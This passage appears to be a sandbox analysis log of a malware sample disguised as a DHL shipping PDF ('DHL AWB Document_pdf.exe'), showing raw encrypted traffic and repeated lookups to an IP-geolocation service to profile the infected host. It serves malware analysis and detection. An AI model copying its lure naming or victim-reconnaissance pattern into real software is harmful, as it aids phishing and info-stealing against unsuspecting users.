2025-02-18 07:12:41 UTC	1390	IN	Data Raw: 0e 2d 9c 54 c4 9d 4e 25 ae d9 ff 95 79 b4 66 b8 27 d8 29 a6 ed 72 1c dd 8d 6e 6b 32 e0 c8 46 09 e6 57 52 b4 69 9f 0b 94 9d fe bb a8 45 6f 79 a4 57 c1 3f 13 8a b2 c6 72 2b 0a 6b ea d4 00 da 56 38 15 bf de 2b 1a d3 15 9c 45 ee f2 77 fd 48 b6 a1 7f b2 bf 31 56 56 ad 2f 67 2e ff e3 9d e3 7c 5f 2c d2 4a 91 72 2a 08 49 24 81 b0 2f 41 b7 ed e9 3f 96 5d 92 23 06 41 f1 12 69 71 d4 46 14 61 10 4e b4 3b 3a 7f e4 4a b2 dd 1b d3 33 5b 36 93 31 d3 9b b5 01 f9 c0 35 21 1f 10 20 1c 7f b8 a6 12 4b 7c 78 cc d1 be df 27 4b 1c 2c 46 a1 0a 32 c6 fe 48 bd 75 61 e9 f3 86 0d 90 63 b3 fa 2d 0b 48 4d db 7c c1 dd 62 26 4d b6 0c 9b 78 5c f2 97 34 17 c0 5c f6 41 86 78 91 62 e5 fe 76 34 03 a5 33 9a b8 8b a4 af 03 ff ef 2f 59 59 96 ad a3 f3 32 14 57 74 f8 a1 95 42 61 07 da a4 5e 6f 88 Data Ascii: -TN%yf')rnk2FWRiEoyW?r+kV8+EwH1VV/g.\|_,Jr*I$/A?]#AiqFaN;:J3[615! K\|x'K,F2Huac-HM\|b&Mx\4\Axbv43/YY2WtBa^o
2025-02-18 07:12:41 UTC	1390	IN	Data Raw: 14 67 59 83 10 3f dd 4b d4 49 77 03 a0 55 11 a7 99 4a 9f 09 bd cb 99 85 5f 36 f6 42 12 b3 3d 2f 82 b8 ba af 43 c2 7d f7 ac e2 da fb 26 b7 fc db 58 78 fb f6 2c 77 f9 78 58 da 1a bd be 55 e5 72 8a 0c 8b ba 25 56 ff d2 bf 0e 4c 9a 46 74 f5 68 9f 92 2e 6b 56 7a da de fc 54 3a 83 d0 f5 7c b1 aa 7e ee 49 a4 f8 65 48 b7 d1 5b c6 77 46 65 95 a3 47 72 1b 28 38 dd 3a 0f a6 81 b9 7b 6d cb 3d 62 af fd ed 05 7d 39 ac c4 01 ec cd 90 5b e0 f3 71 d6 39 1a bd 7d f2 47 39 7e 83 55 43 e8 e7 48 80 78 e3 f2 d2 30 ff ed 0b 21 48 9c dd 83 58 3b 65 02 94 3f 42 de 0d d3 57 ae e1 30 52 53 ff 37 84 36 51 e8 b5 a5 3c 04 b3 7b 21 a5 4b e0 39 87 e2 c2 e8 92 a7 fb c4 01 6d 56 3b ad 66 aa 74 20 1e 7d 8d c1 1d 3b 9d a5 94 31 96 da 24 9e ec c9 ba 67 fa c5 6c cf b5 54 98 7e b6 d2 21 80 b4 Data Ascii: gY?KIwUJ_6B=/C}&Xx,wxXUr%VLFth.kVzT:\|~IeH[wFeGr(8:{m=b}9[q9}G9~UCHx0!HX;e?BW0RS76Q<{!K9mV;ft };1$glT~!
2025-02-18 07:12:41 UTC	1390	IN	Data Raw: c1 21 80 3e a9 ea 89 c8 d8 cd 7e d6 13 97 96 81 6c d3 e5 aa 7f e6 c9 4b a1 a4 3a 24 5a 92 47 2a d0 07 9a 47 0c 6b e4 58 70 44 65 7e 8f 1a 26 0f 1f 93 f1 bf b9 a7 e5 fb c2 d3 6a 2a 6a 48 4a 95 cf df 9b a9 fa bd 76 ee 52 75 55 a5 b4 df 45 84 1c 1e 3c 8d 94 ac fc 09 65 89 f6 0e ea 03 3d 1d 50 d4 29 4e 98 fe 2b 6e dd 32 d9 2d df 93 a4 b6 31 dd 3f 32 12 8c ed 9c 91 06 58 fc a9 bc 37 a4 8c 8c 36 1a e4 cc 6f 53 5d 92 84 e2 20 fc 15 70 b1 ca 66 e8 aa a7 d7 ab 17 08 48 10 62 e8 58 e9 2f fd ed 82 37 52 4b cd d7 db a9 9e 6c d8 67 a2 44 48 78 1f 1b d3 18 3a b6 2c 06 3a 45 a1 38 46 c8 be 02 ec 7e 78 e1 41 ee 7a e8 a6 31 cb 9b 57 d4 cb ae 90 b6 68 80 41 37 1b 35 9a b1 3a 80 b1 47 29 6c bf 5f 76 fe f2 47 d5 c2 2e 6e 0f d3 27 ed c6 71 b7 5b 90 4e d7 71 ae 5e ad 91 ea 49 Data Ascii: !>~lK:$ZGGkXpDe~&jjHJvRuUE<e=P)N+n2-1?2X76oS] pfHbX/7RKlgDHx:,:E8F~xAz1WhA75:G)l_vG.n'q[Nq^I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	63528	104.21.32.1	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:12:44 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-18 07:12:45 UTC	853	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:45 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 94533 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Mon, 17 Feb 2025 04:57:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cQcuBVZDtOKByk4yjYvtqAb7H1d2jL7o3XDpa4M3vYxeoRlIE8U%2FmTLvU%2BM2VfN9F8%2FZU2ZDPwGO7byZzRVcrLKglgGZilfRfYGaoIXIQzUVgTaRt0gfhnbKONBTcH2AWHUb7bbt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 913c35e94bb58cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1756&min_rtt=1753&rtt_var=664&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1641371&cwnd=246&unsent_bytes=0&cid=4cf4274f30225e52&ts=152&x=0"
2025-02-18 07:12:45 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	63529	104.21.32.1	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:12:45 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-02-18 07:12:46 UTC	857	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:45 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 94534 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Mon, 17 Feb 2025 04:57:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Om6D%2FKe1UGHC1zJhWavUm6KSVM2oUqIt9kG4BNkns2qnBIwO1C%2Fxc8dF46keUxbJ5D2tCZJOoQmA5fsLDHv7rkdYT4bbLlvUeIOxKnnYbMwI%2B9lXxhvFrj6gS4frXjds%2F4%2FmYTIW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 913c35ef6a8c41a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1571&min_rtt=1568&rtt_var=594&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1830721&cwnd=245&unsent_bytes=0&cid=2e1f5ed34766909a&ts=155&x=0"
2025-02-18 07:12:46 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	63531	104.21.32.1	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:12:47 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-18 07:12:47 UTC	855	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:47 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 94535 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Mon, 17 Feb 2025 04:57:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BAuIR1Fn5f1qwn3OzXIQuGW58DUM7N1ZZGbjIGBH4eyiwwTDqgHL3%2FqZpQdW1xoQtR3Lj8%2BHlvPKbr8b1yJmkm2beieVU21rAEm0%2BkPHYqketAqSDtX8QSv104m2gdPsWdjnpCy3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 913c35f66ed38cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1731&min_rtt=1722&rtt_var=664&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1626740&cwnd=246&unsent_bytes=0&cid=c05eefa432afb5c9&ts=150&x=0"
2025-02-18 07:12:47 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	63533	104.21.32.1	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:12:49 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-02-18 07:12:49 UTC	855	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:49 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 94537 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Mon, 17 Feb 2025 04:57:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qek4kOEdHuZJLS%2B%2Bf9eP4fcDEU6rbaRKO5vqA8UyLqCoUQENVuiwxAdHyN7MI4bZETn1fwYI%2BLePRdDj1GOA75oUc1OoFmK4TjUQIWh589EQxYM3HO9Cv2trg%2FZjJbJoj2Gd9Xyz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 913c360439f28cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1762&min_rtt=1751&rtt_var=680&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1582655&cwnd=246&unsent_bytes=0&cid=3c918ad79a014019&ts=146&x=0"
2025-02-18 07:12:49 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	63535	104.21.32.1	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:12:51 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-18 07:12:52 UTC	859	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:52 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 94540 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Mon, 17 Feb 2025 04:57:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DOZXixP%2B0fUps2M6gP4Yg9wPLc6eLroNjHGqJjQRs17%2B5h%2Bnn3rS2V5G%2FgA3y1uyLtktrkf8LwyQMn%2FilQ2CGSB48%2Fkib96ujzRdquT5nIEwkfiPantI3yubBQRF8qBpzZNoQH3w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 913c361548948cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&min_rtt=1790&rtt_var=681&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1631284&cwnd=246&unsent_bytes=0&cid=8a4aa730da11f8a3&ts=145&x=0"
2025-02-18 07:12:52 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	63537	104.21.32.1	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:12:53 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-18 07:12:53 UTC	857	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:53 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 94541 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Mon, 17 Feb 2025 04:57:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W5QlsoJADSLoUU5qvJzlhWjs6PPN8f%2FmgiTvrJAmtpnQGi30%2BmXULdSC3wpiNAFbNL5V2ranxiNILM%2B7tlWpjQocNa%2FTyd0vEaDqHZ7Iby0Du1DdIv0mYDohMvKNN4Y%2FuCiWoQqP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 913c361c5f14c327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1596&rtt_var=607&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1789215&cwnd=215&unsent_bytes=0&cid=f795d9fd4c9d9115&ts=145&x=0"
2025-02-18 07:12:53 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	63539	104.21.32.1	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:12:54 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-18 07:12:54 UTC	855	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:54 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 94542 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Mon, 17 Feb 2025 04:57:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g2NA5Jb0jhz5UfFhf%2B%2FpH%2FQ7fxG1PLJK8gVhLO91dW0KWHA8YuVx9Vzr4zf4NTPRC4kTQBpyb0YrXAJO%2BGIbS9Sli1Q8nQ5WHwJGUNIR6NDrJmKMZwcxlEWgmLkPxNRj54uLnLWv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 913c36240d3e8cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1767&min_rtt=1762&rtt_var=671&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1616832&cwnd=246&unsent_bytes=0&cid=0ca724ae0aae95b4&ts=139&x=0"
2025-02-18 07:12:54 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	63541	104.21.32.1	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:12:57 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-18 07:12:57 UTC	861	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:57 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 94545 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Mon, 17 Feb 2025 04:57:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gOAW1zYv9FbavNHQ%2B0vwUcaXXOdv3DJmqhyFC659GWepnY3wsMAvaGJOMumjEh43SC%2FrRcylTP04EKqCN%2F44mT%2FPpydcB3hSJZz%2BSyBkCGZqabl6z%2B0777P01RVxwyG2T%2BfBa0SF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 913c3634d975c327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1681&min_rtt=1657&rtt_var=639&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1762220&cwnd=215&unsent_bytes=0&cid=8c2926a822cb17c1&ts=136&x=0"
2025-02-18 07:12:57 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	63543	104.21.32.1	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:12:59 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
